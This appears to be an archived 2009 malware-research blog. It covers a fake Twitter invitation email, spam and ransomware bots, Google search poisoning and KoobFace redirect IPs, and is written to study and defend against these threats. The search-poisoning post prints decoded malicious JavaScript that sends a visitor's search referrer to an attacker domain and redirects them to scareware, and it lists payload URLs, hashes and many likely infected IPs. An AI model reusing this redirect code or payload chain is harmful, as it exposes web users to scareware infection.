Link: http://help.twitter.com/
Domain: help.twitter.com
IP: 65.74.185.41 [ zendesk.com ]
hpHosts Status: Not Listed
MDL Status: Not Listed
PhishTank Status: Unknown

Link: http://twitter.com/jobs
Domain: twitter.com
IP: 128.121.146.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://twitter.com/tos
Domain: twitter.com
IP: 168.143.162.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

Link: http://twitter.com/privacy
Domain: twitter.com
IP: 168.143.162.100 [ Resolution failed ]
hpHosts Status: Not Listed
MDL Status: Listed
PhishTank Status: Unknown

**************************************************************************
Text Version
**************************************************************************
* Skip past navigation
* On a mobile phone? Check out m.twitter.com <http://m.twitter.com/> !
* Skip to navigation
* Skip to sign in form

Select Language ... English Japanese
Twitter.com <http://twitter.com/home>

Your friend invited you to twitter!

Your friend invited you to twitter!<http://assets1.twitter.com/images/tour_1.gif>

Twitter is a service for friends, family, and co-workers to communicate and stay connected through the exchange of quick, frequent answers to one simple question: What are you doing?

To join or to see who invited you, check the attachment.

________________________________

Arrow_on_red Watch a video! <http://dotsub.com/api/smallplayer.php?filmid=3066&filminstance=3068&language=none>

Please sign in

user name or email address:

password:

Remember me

Forgot password? Click here <http://twitter.com/account/resend_password> .

Already using Twitter from your phone? Click here. <http://twitter.com/account/complete>

________________________________

*

Twitter is the first thing on the web that I've been excited about in ages.

Jason Kottke, Blogger
*

I really like Twitter.

Jeff Barr, Amazon.com, Senior Manager
*

Incredibly useful

Wired

________________________________

Footer

* 2009 Twitter
* About Us <http://twitter.com/about#about>
* Contact <http://twitter.com/about#contact>
* Blog <http://blog.twitter.com/>
* Status <http://status.twitter.com/>
* Apps <http://twitter.com/downloads>
* API <http://apiwiki.twitter.com/>
* Search <http://search.twitter.com/>
* Help <http://help.twitter.com/>
* Jobs <http://twitter.com/jobs>
* Terms <http://twitter.com/tos>
* Privacy <http://twitter.com/privacy>

close
Galleries
of
by

**************************************************************************
Headers
**************************************************************************
Return-Path: invitations@twitter.com
Delivered-To: {REMOVED}
X-FDA: 62358624678
X-Panda: scanned!
X-Filterd-Recvd-Size: 428259
Received: from twitter.com (maha.matisp.net [12.96.196.234])
by imf12.hostedemail.com (Postfix) with ESMTP
for <{REMOVED}>; Wed, 17 Jun 2009 15:51:05 +0000 (UTC)
From: invitations@twitter.com
To: {REMOVED}
Subject: Your friend invited you to twitter!
Date: Wed, 17 Jun 2009 09:49:09 -0600
MIME-Version: 1.0
Content-Type: multipart/mixed;
boundary="----=_NextPart_000_0006_DFD94041.4B307F70"
X-Priority: 3
X-MSMail-Priority: Normal
X-EsetId: 81896726F0AC3330DBCF

Oh and yep, detection for it is rubbish;

http://www.virustotal.com/analisis/1bd8f69e0cb0bf9dbb030017b443a1a29b621ace505a4e7511af60e07e71e447-1245256337

http://anubis.iseclab.org/?action=result&task_id=1c37c92a7e9740054a572a01b5f330b23&format=html

/edit

I've not looked at this yet as it's only just arrived, but here's the TE report for you (JoeBox couldn't analyze it, and my test machine isn't back up yet - still in pieces);

http://www.threatexpert.com/report.aspx?md5=ead830f63ee1e868bcca769e86fbbdd4

Monday, 15 June 2009

Pastebin Botnets

I've always been interested in Botnet research, and a piece of code in circulation on forums at the moment seemed interesting enough to write about. The subject is "Pastebin Botnets", but first we'd better talk a little bit about Pastebins...

Pastebins - what are they?

From Wikipedia:

A pastebin, also known as a nopaste, is a web application which allows its users to upload snippets of text, usually samples of source code, for public viewing. It is very popular in IRC channels where pasting large amounts of text is considered bad etiquette. A vast number of pastebins exist on the Internet, suiting a number of different needs and provided features tailored towards the crowd they focus on most.

Pastebins have become very popular in certain hacking communities, where quick and easy sharing of a targets personal information ("Dox") is perfectly at home in the world of pastebins.

Saturday, 13 June 2009

Spambot Search Tool v0.32

Date: 13-06-2009

+ Added function GetSpammerCount
* Modified index.php so it uses GetSpammerCount to obtain the spammer count from the DB if $bln_SaveToDB is enabled, and counter.txt if it isn't.
* Modified spammer list output when viewing e-mail reports
* Modified IMAP code so e-mails are sorted by date order
* Modified spammer list output and display when viewing text/MySQL records
* Fixed form (index.php) display on Opera

http://support.it-mate.co.uk/?mode=Products&act=DL&p=spambotsearchtool

I am working on adding a caching facility, and of course, pagination (for the viewing reports pages). The latter is currently being a PITA at present (pagination + IMAP seems to = annoyance)

Tuesday, 9 June 2009

In the UK? Own a mobile? You NEED to read this!

Did you know your operator sold your number to marketing firms, who then sold it to this outfit?

Millions opted into UK mobile phone directory

A public mobile phone directory for the UK will launch later this month, loaded with millions of private numbers bought from marketing departments.

From June 18, callers to 118800 will be asked for a first name, a surname and a town*. If a match is found, they will be connected to that person's mobile for £1.

Connectivity, the start-up firm behind the service, says it will never give out numbers or other personal details, and will ask the recipient's permission before connecting the call. It also promises in its FAQ not to sell or pass data to commercial organisations, and to monitor its directory for any suspicious usage patterns.

The firm is coy about how it built its list of "many millions" of mobile numbers. "Our mobile phone directory is made up from various sources," Connectivity wrote.

"Generally it comes from companies who collect mobile telephone numbers from customers in the course of doing business and have been given permission by the customers to share those numbers."

http://www.theregister.co.uk/2009/06/09/mobile_phone_directory/

Related:

Data watchdog clears mobile phone directory - You agreed for your details to be used like this, right?
http://www.theregister.co.uk/2009/06/09/mobile_phone_directory/

/edit

There is a freephone number for those that want to opt out apparently, but it takes up to 4 weeks;

0800 138 6263

Yet another SPAM Bot

Today while I was casually going through my sandnet logs, one malware outbound communication suddenly caught my attention. This communication certainly looked like a SPAM template download. Unlike other famous botnets like Cutwail, Rustock, Tofsee, Srizbi, Xarvester, etc, the spam template was in plain text and all the artifacts were clearly visible.

This first question in my mind was to find the name of this SPAM bot. A virustotal report could help, but in this case, it confused me further.

See it for yourself:

292a5adf25ddf66b98616243fdd11ed7

My next attempt was to search for some information based on the command and control name 'endsolar.com'. But no luck..

I had no choice but to start my investigation from point zero. Here are some of my findings:

Name:

I'm not sure.

Infection Vector:

The name of the malware binary file (as it reached me) was e-card.exe. It's not difficult to understand that this might be the outcome of yet another social engineering based mail campaign which lures users to click on fake greeting cards link.

Rootkit:

No real attempt was made by this malware instance to hide itself deeply on the infected system. Upon execution, this malware copies itself under %WINDOWS%/SYSTEM with the name of 'winlogon.exe', and further adds itself under

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

so that it will start on every system start up.

SPAM:

It's another template based SPAM bot like all the major players. This SPAM template was divided into different logical sections which I'll explain one by one:

http://blog.fireeye.com/research/2009/06/yet-another-spam-bot.html

Monday, 8 June 2009

FireEye: Ransom - Pay me more - Part II

Ransom - Pay me more - Part II

I recently got an important clue, how this ransom deal takes place between a victim and these cyber criminals. One of reader who became victim of this ransomeware dropped an email to this ransom guy at the address otrazhenie_zla@mail.ru for his files recovery. This was the response by that guy:

"Transfer into account pay pal 50 dollars here email pay pal otrazhenie_zla@mail.ru'

Interestingly, instead of asking him standard $10 ransom (as mentioned in his earlier message) he asked him for $50, typical criminal mentality, isn't it? Unfortunately his greed doesn't end here. This malware instance came bundled in a fake 'SWF video codec' file. Upon execution this setup file installs three different malware on the victim machine including this ransomware.

1. 5f9927ee59b4881a2ce8634332f63fa8

Trojan Encoder, the one that encrypts the user file and asks for ransom in return.

2. 010d7b79d002d747f420a7880f89ee38

A password stealing Trojan that uploads user personal information on a remote command and control server (antivirusubdate.no-ip.biz) using obfuscated protocol on TCP port 3460.

3.010d7b79d002d747f420a7880f89ee38

Sunday, 7 June 2009

Roguerific! aka: Don't worry Google, we can wait ....

Alas it seems, with all of the publicity and all of the reports that Google have been sent, they've still not been bothered to remove the malicious domains from their Google index, or the malicious blogs on their Blogspot service (and yes, I'm aware Google aren't the only company with these problems, but they're the most popular so at present, are seeing the most abuse).

I've been monitoring the Google results since my last report on the Google poisoning issue, and have been saddened to see not a reduction in the amount of malicious URL's in the index - but an increase.

Almost every single one for this variation (there are of course other variations) I've seen thus far has had identical properties that for a search engine with a spider as good as Googles, should be easy enough to identify and erradicate;

1. All URL's lead to a page with;

a 2.js file
jibberish in <pre></pre> tags and further such .htm pages linked to each other under neath (all pages linked to, have identical properties)
ALL pages on the domain link to each other, with identical tags (and ONLY link to these pages) and link to the 2.js file
ALL pages have title tags that have the name of the .htm file in them 3 times, for example;

cadets.htm - cadets (cadets on the waterfront, yesterday tractor cub cadets)
broderick.htm - broderick (terrace dining room broderick, lillian broderick)
prototype.htm - prototype (vecto prototype board, what is a prototype lexical relation)
sli.htm - sli (p5n32 sli installation, bfg 7950 gt sli
achat.htm - achat (achat immobilier bons en chablais, centrale achat electrom nager)
etc etc etc ....

Full results for two of the domains, can be found at;

http://hosts-file.net/misc/Google_Poisoning.txt
All links are encased in <tt></tt> tags.

2. All pages are in sub-directories that have jibberishly named folder names
3. The 2.js file ALWAYS begins with eval(String.fromCharCode(
4. The decoded JS contains;

function f(){

var r=document.referrer,t="",q;

if(r.indexOf("google.")!=-1)t="q";

if(r.indexOf("msn.")!=-1)t="q";

if(r.indexOf("yahoo.")!=-1)t="p";

if(r.indexOf("altavista.")!=-1)t="q";

if(r.indexOf("aol.")!=-1)t="query";

if(r.indexOf("ask.")!=-1)t="q";

if(r.indexOf("comcast.")!=-1)t="q";

if(r.indexOf("bellsouth.")!=-1)t="string";

if(r.indexOf("netscape.")!=-1)t="query";

if(r.indexOf("mywebsearch.")!=-1)t="searchfor";

if(r.indexOf("peoplepc.")!=-1)t="q";

if(r.indexOf("starware.")!=-1)t="qry";

if(r.indexOf("earthlink.")!=-1)t="q";

if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))

window.location = ("http://everylog1.com/in.cgi?9&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default");

}
window.onFocus = f()

Obviously, the URL that window.location takes you to, differs (seems to change every few days to a week or so).

5. The 2.js files are the same size (3K), though different MD5's
6. The resulting URL that window.location takes you to, ALWAYS go through intermediares, but invariably leads to a rogue that contains the usual scareware content, which again, should be a piece of cake for Google's spider to identify.

In the case of eddierivera.com this is;

everylog1.com/in.cgi?9&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+encodeURIComponent(document.URL)+"&default_keyword=default
everylog1.com/redirect2/
homeandofficefun.com/go.php?id=2004&key=ff0057594&p=1 (Intermediary)
antimalwareonlinescannerv3.com/1/?id=2004&smersh=b63db03e5&back=%3DDQ0zjD0NEQNMI%3DO (SCAREWARE PAGE)
antimalwareonlinescannerv3.com/download.php?id=2004
antimalwareonlinescannerv3.com/download/Setup-d2c79_02004.exe (PAYLOAD)

VirusTotal: http://www.virustotal.com/analisis/6a4547ca8aa3634633a23ec4578ab4aa982f54deea263b672378b7b5896ba5b9-1244420368
Threat Expert: http://www.threatexpert.com/report.aspx?md5=7d96921eebcc78ba717cfeb4e1dbdf3b

7. The folder containing the files almost always has an open index, presumably to improve SEO
8. The parent folder of the folder containing the files, also has an open index, and contains a file called "c", the contents of which, contain the folders name (the one in the Google index), and "200"

sierrahomesnw.com/nofqe/c
eddierivera.com/iyild/c

With a file called 1t, containing the .htm file names;

sierrahomesnw.com/nofqe/1t
eddierivera.com/iyild/1t

A 1r file, containing the file and folder names in the format "folder/file.htm"

eddierivera.com/iyild/1r.txt
sierrahomesnw.com/nofqe/1r.txt

And finally, a randomly named PHP file (8.7K), whose content has always been <ok>

sierrahomesnw.com/nofqe/rie.php
eddierivera.com/iyild/pal.php

On a side note, it appears the rogue domain in this case, only allows a max of 2 connections per IP, as subsequent attempts result in it's returning a 404 (checking via a proxy confirmed this). It's also worth noting that attempts to grab the executable directly, aren't going to work as the filename is partially static, and partially dynamic (Setup-{random}_02004.exe), I've grabbed 4 seperate files thus far.

Bloggers bias - prepare for disclosure

I read on Bradley's blog that the FTC are considering changes that will finally force those bloggers giving rave reviews, to disclose the fact they've received a copy of whatever it is, for free - and it's about bloody time too.

I've seen hundreds of blogs just on the subject of antimalware, raving about a product, without disclosing the fact that they're getting paid to promote it, which is even worse.

I'll save my rant though. For details on this, see Bradley's blog;

http://msmvps.com/blogs/bradley/archive/2009/06/07/is-there-a-bias-when-you-get-something-for-free.aspx

Tuesday, 2 June 2009

Research: KoobFace - redir3105.com

I was asked by a friend if I could sniff out all of the IP addresses that the redir3105.com domain was redirecting to, and after spending over 30 mins trying to do it manually, decided to ask a few fellow researchers if they were aware of a way of doing it automatically - sadly they weren't.

I decided therefor, to throw something together myself to see if I could get the results I required, and the results were interesting.

I told the program to send 1000 requests to redir3105.com (spaced out of course), and had it list all of the IP's that it redirected to, including of course, the URL's themselves - out of the 1000 requests, there were only 296 unique IP addresses. Something I was not expecting.

The entire list is below for your blacklisting and/or researching pleasure.

http://112.150.3.52/pid=1000/?ch=&ea=
http://114.73.15.109/pid=1000/?ch=&ea=
http://114.75.22.27/pid=1000/?ch=&ea=
http://115.135.22.77/pid=1000/?ch=&ea=
http://116.54.12.207/pid=1000/?ch=&ea=
http://117.200.211.29/pid=1000/?ch=&ea=
http://117.200.97.85/pid=1000/?ch=&ea=
http://118.100.124.101/pid=1000/?ch=&ea=
http://118.160.194.126/pid=1000/?ch=&ea=
http://119.94.26.9/pid=1000/?ch=&ea=
http://12.219.75.172/pid=1000/?ch=&ea=
http://121.96.106.234/pid=1000/?ch=&ea=
http://121.96.243.32/pid=1000/?ch=&ea=
http://122.51.218.39/pid=1000/?ch=&ea=
http://122.53.59.125/pid=1000/?ch=&ea=
http://122.55.198.199/pid=1000/?ch=&ea=
http://123.255.20.221/pid=1000/?ch=&ea=
http://124.158.70.194/pid=1000/?ch=&ea=
http://125.107.66.47/pid=1000/?ch=&ea=
http://165.132.193.184/pid=1000/?ch=&ea=
http://174.48.92.134/pid=1000/?ch=&ea=
http://188.24.240.254/pid=1000/?ch=&ea=
http://190.26.12.101/pid=1000/?ch=&ea=
http://196.206.192.153/pid=1000/?ch=&ea=
http://196.206.73.192/pid=1000/?ch=&ea=
http://200.104.112.223/pid=1000/?ch=&ea=
http://200.79.214.207/pid=1000/?ch=&ea=
http://201.149.235.248/pid=1000/?ch=&ea=
http://201.160.142.149/pid=1000/?ch=&ea=
http://201.174.213.208/pid=1000/?ch=&ea=
http://201.241.56.215/pid=1000/?ch=&ea=
http://201.88.88.28/pid=1000/?ch=&ea=
http://203.198.108.237/pid=1000/?ch=&ea=
http://203.212.201.31/pid=1000/?ch=&ea=
http://204.13.181.145/pid=1000/?ch=&ea=
http://208.96.79.170/pid=1000/?ch=&ea=
http://212.220.108.203/pid=1000/?ch=&ea=
http://212.35.66.215/pid=1000/?ch=&ea=
http://213.6.65.91/pid=1000/?ch=&ea=
http://218.168.184.2/pid=1000/?ch=&ea=
http://218.172.72.100/pid=1000/?ch=&ea=
http://220.120.131.144/pid=1000/?ch=&ea=
http://220.139.46.84/pid=1000/?ch=&ea=
http://220.158.15.36/pid=1000/?ch=&ea=
http://221.127.120.43/pid=1000/?ch=&ea=
http://221.127.254.54/pid=1000/?ch=&ea=
http://221.128.214.39/pid=1000/?ch=&ea=
http://222.121.227.7/pid=1000/?ch=&ea=
http://24.1.103.249/pid=1000/?ch=&ea=
http://24.116.109.135/pid=1000/?ch=&ea=
http://24.117.234.115/pid=1000/?ch=&ea=
http://24.136.172.239/pid=1000/?ch=&ea=
http://24.14.58.26/pid=1000/?ch=&ea=
http://24.151.168.145/pid=1000/?ch=&ea=
http://24.168.90.30/pid=1000/?ch=&ea=
http://24.17.253.66/pid=1000/?ch=&ea=
http://24.20.125.254/pid=1000/?ch=&ea=
http://24.205.33.85/pid=1000/?ch=&ea=
http://24.209.162.67/pid=1000/?ch=&ea=
http://24.53.141.59/pid=1000/?ch=&ea=
http://24.53.143.254/pid=1000/?ch=&ea=
http://24.62.12.107/pid=1000/?ch=&ea=
http://24.68.70.58/pid=1000/?ch=&ea=
http://24.9.127.102/pid=1000/?ch=&ea=
http://24.94.21.199/pid=1000/?ch=&ea=
http://24.98.202.156/pid=1000/?ch=&ea=
http://24.98.45.0/pid=1000/?ch=&ea=
http://4.229.198.39/pid=1000/?ch=&ea=
http://41.145.183.45/pid=1000/?ch=&ea=
http://41.250.109.63/pid=1000/?ch=&ea=
http://58.114.106.168/pid=1000/?ch=&ea=
http://58.168.129.82/pid=1000/?ch=&ea=
http://58.65.191.77/pid=1000/?ch=&ea=
http://59.155.126.31/pid=1000/?ch=&ea=
http://59.161.179.142/pid=1000/?ch=&ea=
http://59.188.88.11/pid=1000/?ch=&ea=
http://59.93.54.197/pid=1000/?ch=&ea=
http://60.54.5.136/pid=1000/?ch=&ea=
http://61.15.188.202/pid=1000/?ch=&ea=
http://63.162.17.55/pid=1000/?ch=&ea=
http://64.0.31.7/pid=1000/?ch=&ea=
http://64.150.210.201/pid=1000/?ch=&ea=
http://64.231.59.57/pid=1000/?ch=&ea=
http://64.252.0.118/pid=1000/?ch=&ea=
http://65.185.162.122/pid=1000/?ch=&ea=
http://65.190.150.200/pid=1000/?ch=&ea=
http://65.31.182.12/pid=1000/?ch=&ea=
http://65.60.254.45/pid=1000/?ch=&ea=
http://65.71.92.241/pid=1000/?ch=&ea=
http://65.93.183.89/pid=1000/?ch=&ea=
http://66.176.61.63/pid=1000/?ch=&ea=
http://66.19.101.94/pid=1000/?ch=&ea=
http://66.190.74.31/pid=1000/?ch=&ea=
http://66.219.181.18/pid=1000/?ch=&ea=
http://66.229.120.142/pid=1000/?ch=&ea=
http://66.41.5.198/pid=1000/?ch=&ea=
http://67.11.164.89/pid=1000/?ch=&ea=
http://67.125.158.149/pid=1000/?ch=&ea=
http://67.160.192.87/pid=1000/?ch=&ea=
http://67.163.106.143/pid=1000/?ch=&ea=
http://67.163.174.65/pid=1000/?ch=&ea=
http://67.166.193.60/pid=1000/?ch=&ea=
http://67.173.205.65/pid=1000/?ch=&ea=
http://67.186.127.84/pid=1000/?ch=&ea=
http://67.188.3.231/pid=1000/?ch=&ea=
http://67.191.135.77/pid=1000/?ch=&ea=
http://67.78.84.134/pid=1000/?ch=&ea=
http://67.8.151.144/pid=1000/?ch=&ea=
http://68.113.114.253/pid=1000/?ch=&ea=
http://68.116.207.159/pid=1000/?ch=&ea=
http://68.150.167.240/pid=1000/?ch=&ea=
http://68.187.191.41/pid=1000/?ch=&ea=
http://68.190.69.207/pid=1000/?ch=&ea=
http://68.32.26.223/pid=1000/?ch=&ea=
http://68.37.136.97/pid=1000/?ch=&ea=
http://68.39.76.19/pid=1000/?ch=&ea=
http://68.46.36.85/pid=1000/?ch=&ea=
http://68.47.2.220/pid=1000/?ch=&ea=
http://68.54.142.102/pid=1000/?ch=&ea=
http://68.55.133.219/pid=1000/?ch=&ea=
http://68.61.230.159/pid=1000/?ch=&ea=
http://68.61.90.145/pid=1000/?ch=&ea=
http://68.81.240.216/pid=1000/?ch=&ea=
http://68.81.27.105/pid=1000/?ch=&ea=
http://68.84.43.224/pid=1000/?ch=&ea=
http://69.104.143.147/pid=1000/?ch=&ea=
http://69.107.138.172/pid=1000/?ch=&ea=
http://69.133.26.107/pid=1000/?ch=&ea=
http://69.134.107.56/pid=1000/?ch=&ea=
http://69.137.210.2/pid=1000/?ch=&ea=
http://69.139.168.9/pid=1000/?ch=&ea=
http://69.155.214.33/pid=1000/?ch=&ea=
http://69.208.115.88/pid=1000/?ch=&ea=
http://69.228.222.93/pid=1000/?ch=&ea=
http://69.229.248.216/pid=1000/?ch=&ea=
http://69.234.22.21/pid=1000/?ch=&ea=
http://69.244.211.111/pid=1000/?ch=&ea=
http://69.246.104.204/pid=1000/?ch=&ea=
http://69.247.217.222/pid=1000/?ch=&ea=
http://70.116.91.181/pid=1000/?ch=&ea=
http://70.132.18.136/pid=1000/?ch=&ea=
http://70.196.165.240/pid=1000/?ch=&ea=
http://70.200.13.26/pid=1000/?ch=&ea=
http://70.200.22.129/pid=1000/?ch=&ea=
http://70.240.248.105/pid=1000/?ch=&ea=
http://70.246.232.27/pid=1000/?ch=&ea=
http://70.252.72.9/pid=1000/?ch=&ea=
http://70.254.86.110/pid=1000/?ch=&ea=
http://71.104.195.43/pid=1000/?ch=&ea=
http://71.12.171.154/pid=1000/?ch=&ea=
http://71.137.2.191/pid=1000/?ch=&ea=
http://71.142.230.126/pid=1000/?ch=&ea=
http://71.15.38.227/pid=1000/?ch=&ea=
http://71.199.27.34/pid=1000/?ch=&ea=
http://71.202.3.218/pid=1000/?ch=&ea=
http://71.203.145.2/pid=1000/?ch=&ea=
http://71.204.95.218/pid=1000/?ch=&ea=
http://71.226.159.251/pid=1000/?ch=&ea=
http://71.231.232.152/pid=1000/?ch=&ea=
http://71.237.17.143/pid=1000/?ch=&ea=
http://71.239.64.251/pid=1000/?ch=&ea=
http://71.57.217.54/pid=1000/?ch=&ea=
http://71.74.144.92/pid=1000/?ch=&ea=
http://71.91.39.171/pid=1000/?ch=&ea=
http://72.138.0.112/pid=1000/?ch=&ea=
http://72.144.178.53/pid=1000/?ch=&ea=
http://72.178.17.74/pid=1000/?ch=&ea=
http://72.184.202.19/pid=1000/?ch=&ea=
http://72.190.116.60/pid=1000/?ch=&ea=
http://72.191.209.77/pid=1000/?ch=&ea=
http://72.21.144.8/pid=1000/?ch=&ea=
http://72.252.226.107/pid=1000/?ch=&ea=
http://74.198.96.208/pid=1000/?ch=&ea=
http://74.73.206.236/pid=1000/?ch=&ea=
http://75.0.227.244/pid=1000/?ch=&ea=
http://75.11.157.127/pid=1000/?ch=&ea=
http://75.12.117.128/pid=1000/?ch=&ea=
http://75.134.2.114/pid=1000/?ch=&ea=
http://75.136.143.146/pid=1000/?ch=&ea=
http://75.138.53.43/pid=1000/?ch=&ea=
http://75.179.62.135/pid=1000/?ch=&ea=
http://75.194.222.58/pid=1000/?ch=&ea=
http://75.200.145.96/pid=1000/?ch=&ea=
http://75.22.24.108/pid=1000/?ch=&ea=
http://75.22.92.203/pid=1000/?ch=&ea=
http://75.254.191.101/pid=1000/?ch=&ea=
http://75.3.137.94/pid=1000/?ch=&ea=
http://75.45.184.15/pid=1000/?ch=&ea=
http://75.48.250.116/pid=1000/?ch=&ea=
http://75.53.116.243/pid=1000/?ch=&ea=
http://75.62.244.27/pid=1000/?ch=&ea=
http://75.64.62.247/pid=1000/?ch=&ea=
http://75.72.97.91/pid=1000/?ch=&ea=
http://75.76.243.135/pid=1000/?ch=&ea=
http://75.80.113.32/pid=1000/?ch=&ea=
http://75.82.161.35/pid=1000/?ch=&ea=
http://75.83.169.248/pid=1000/?ch=&ea=
http://75.85.226.121/pid=1000/?ch=&ea=
http://76.104.166.143/pid=1000/?ch=&ea=
http://76.104.65.18/pid=1000/?ch=&ea=
http://76.110.112.33/pid=1000/?ch=&ea=
http://76.122.229.203/pid=1000/?ch=&ea=
http://76.127.243.110/pid=1000/?ch=&ea=
http://76.168.96.194/pid=1000/?ch=&ea=
http://76.171.237.159/pid=1000/?ch=&ea=
http://76.172.191.35/pid=1000/?ch=&ea=
http://76.177.207.194/pid=1000/?ch=&ea=
http://76.199.15.205/pid=1000/?ch=&ea=
http://76.199.25.1/pid=1000/?ch=&ea=
http://76.20.64.85/pid=1000/?ch=&ea=
http://76.204.38.108/pid=1000/?ch=&ea=
http://76.210.97.106/pid=1000/?ch=&ea=
http://76.223.0.45/pid=1000/?ch=&ea=
http://76.251.230.131/pid=1000/?ch=&ea=
http://76.251.70.105/pid=1000/?ch=&ea=
http://76.76.182.253/pid=1000/?ch=&ea=
http://76.87.86.254/pid=1000/?ch=&ea=
http://76.91.121.102/pid=1000/?ch=&ea=
http://76.91.7.42/pid=1000/?ch=&ea=
http://76.94.109.213/pid=1000/?ch=&ea=
http://76.98.124.21/pid=1000/?ch=&ea=
http://76.99.107.55/pid=1000/?ch=&ea=
http://77.35.183.120/pid=1000/?ch=&ea=
http://77.35.210.254/pid=1000/?ch=&ea=
http://77.79.140.253/pid=1000/?ch=&ea=
http://78.113.249.123/pid=1000/?ch=&ea=
http://78.145.178.89/pid=1000/?ch=&ea=
http://78.36.78.223/pid=1000/?ch=&ea=
http://78.52.134.110/pid=1000/?ch=&ea=
http://78.73.46.253/pid=1000/?ch=&ea=
http://79.113.182.102/pid=1000/?ch=&ea=
http://79.177.100.28/pid=1000/?ch=&ea=
http://79.183.252.106/pid=1000/?ch=&ea=
http://79.183.254.194/pid=1000/?ch=&ea=
http://79.33.233.190/pid=1000/?ch=&ea=
http://82.114.253.80/pid=1000/?ch=&ea=
http://82.131.218.7/pid=1000/?ch=&ea=
http://82.2.152.50/pid=1000/?ch=&ea=
http://82.81.11.133/pid=1000/?ch=&ea=
http://83.21.35.246/pid=1000/?ch=&ea=
http://83.30.230.109/pid=1000/?ch=&ea=
http://84.110.207.30/pid=1000/?ch=&ea=
http://84.52.62.235/pid=1000/?ch=&ea=
http://84.62.176.250/pid=1000/?ch=&ea=
http://84.73.220.85/pid=1000/?ch=&ea=
http://85.103.22.229/pid=1000/?ch=&ea=
http://85.179.99.47/pid=1000/?ch=&ea=
http://85.227.141.75/pid=1000/?ch=&ea=
http://85.29.144.166/pid=1000/?ch=&ea=
http://85.58.36.112/pid=1000/?ch=&ea=
http://86.108.28.105/pid=1000/?ch=&ea=
http://86.108.5.179/pid=1000/?ch=&ea=
http://86.121.65.139/pid=1000/?ch=&ea=
http://86.3.116.60/pid=1000/?ch=&ea=
http://87.189.214.152/pid=1000/?ch=&ea=
http://88.200.178.68/pid=1000/?ch=&ea=
http://89.138.58.165/pid=1000/?ch=&ea=
http://89.142.160.38/pid=1000/?ch=&ea=
http://89.165.75.168/pid=1000/?ch=&ea=
http://89.191.170.221/pid=1000/?ch=&ea=
http://89.218.81.61/pid=1000/?ch=&ea=
http://89.229.255.83/pid=1000/?ch=&ea=
http://90.151.15.102/pid=1000/?ch=&ea=
http://91.203.157.210/pid=1000/?ch=&ea=
http://92.124.77.47/pid=1000/?ch=&ea=
http://92.40.90.43/pid=1000/?ch=&ea=
http://93.147.218.186/pid=1000/?ch=&ea=
http://94.180.247.226/pid=1000/?ch=&ea=
http://94.253.47.41/pid=1000/?ch=&ea=
http://95.220.73.82/pid=1000/?ch=&ea=
http://95.86.107.220/pid=1000/?ch=&ea=
http://96.39.163.30/pid=1000/?ch=&ea=
http://97.81.245.4/pid=1000/?ch=&ea=
http://97.86.3.240/pid=1000/?ch=&ea=
http://97.92.232.74/pid=1000/?ch=&ea=
http://97.97.91.169/pid=1000/?ch=&ea=
http://98.125.185.62/pid=1000/?ch=&ea=
http://98.151.254.89/pid=1000/?ch=&ea=
http://98.200.118.46/pid=1000/?ch=&ea=
http://98.200.78.41/pid=1000/?ch=&ea=
http://98.215.101.207/pid=1000/?ch=&ea=
http://98.219.92.193/pid=1000/?ch=&ea=
http://98.230.132.63/pid=1000/?ch=&ea=
http://98.246.191.192/pid=1000/?ch=&ea=
http://98.246.75.3/pid=1000/?ch=&ea=
http://98.30.10.150/pid=1000/?ch=&ea=
http://99.130.199.117/pid=1000/?ch=&ea=
http://99.135.184.151/pid=1000/?ch=&ea=
http://99.155.156.201/pid=1000/?ch=&ea=
http://99.160.174.175/pid=1000/?ch=&ea=
http://99.162.32.33/pid=1000/?ch=&ea=
http://99.170.152.193/pid=1000/?ch=&ea=
http://99.177.93.85/pid=1000/?ch=&ea=
http://99.18.224.124/pid=1000/?ch=&ea=
http://99.25.149.254/pid=1000/?ch=&ea=
http://99.53.161.53/pid=1000/?ch=&ea=

And the list of IP's themselves;

112.150.3.52
114.73.15.109
114.75.22.27
115.135.22.77
116.54.12.207
117.200.211.29
117.200.97.85
118.100.124.101
118.160.194.126
119.94.26.9
12.219.75.172
121.96.106.234
121.96.243.32
122.51.218.39
122.53.59.125
122.55.198.199
123.255.20.221
124.158.70.194
125.107.66.47
165.132.193.184
174.48.92.134
188.24.240.254
190.26.12.101
196.206.192.153
196.206.73.192
200.104.112.223
200.79.214.207
201.149.235.248
201.160.142.149
201.174.213.208
201.241.56.215
201.88.88.28
203.198.108.237
203.212.201.31
204.13.181.145
208.96.79.170
212.220.108.203
212.35.66.215
213.6.65.91
218.168.184.2
218.172.72.100
220.120.131.144
220.139.46.84
220.158.15.36
221.127.120.43
221.127.254.54
221.128.214.39
222.121.227.7
24.1.103.249
24.116.109.135
24.117.234.115
24.136.172.239
24.14.58.26
24.151.168.145
24.168.90.30
24.17.253.66
24.20.125.254
24.205.33.85
24.209.162.67
24.53.141.59
24.53.143.254
24.62.12.107
24.68.70.58
24.9.127.102
24.94.21.199
24.98.202.156
24.98.45.0
4.229.198.39
41.145.183.45
41.250.109.63
58.114.106.168
58.168.129.82
58.65.191.77
59.155.126.31
59.161.179.142
59.188.88.11
59.93.54.197
60.54.5.136
61.15.188.202
63.162.17.55
64.0.31.7
64.150.210.201
64.231.59.57
64.252.0.118
65.185.162.122
65.190.150.200
65.31.182.12
65.60.254.45
65.71.92.241
65.93.183.89
66.176.61.63
66.19.101.94
66.190.74.31
66.219.181.18
66.229.120.142
66.41.5.198
67.11.164.89
67.125.158.149
67.160.192.87
67.163.106.143
67.163.174.65
67.166.193.60
67.173.205.65
67.186.127.84
67.188.3.231
67.191.135.77
67.78.84.134
67.8.151.144
68.113.114.253
68.116.207.159
68.150.167.240
68.187.191.41
68.190.69.207
68.32.26.223
68.37.136.97
68.39.76.19
68.46.36.85
68.47.2.220
68.54.142.102
68.55.133.219
68.61.230.159
68.61.90.145
68.81.240.216
68.81.27.105
68.84.43.224
69.104.143.147
69.107.138.172
69.133.26.107
69.134.107.56
69.137.210.2
69.139.168.9
69.155.214.33
69.208.115.88
69.228.222.93
69.229.248.216
69.234.22.21
69.244.211.111
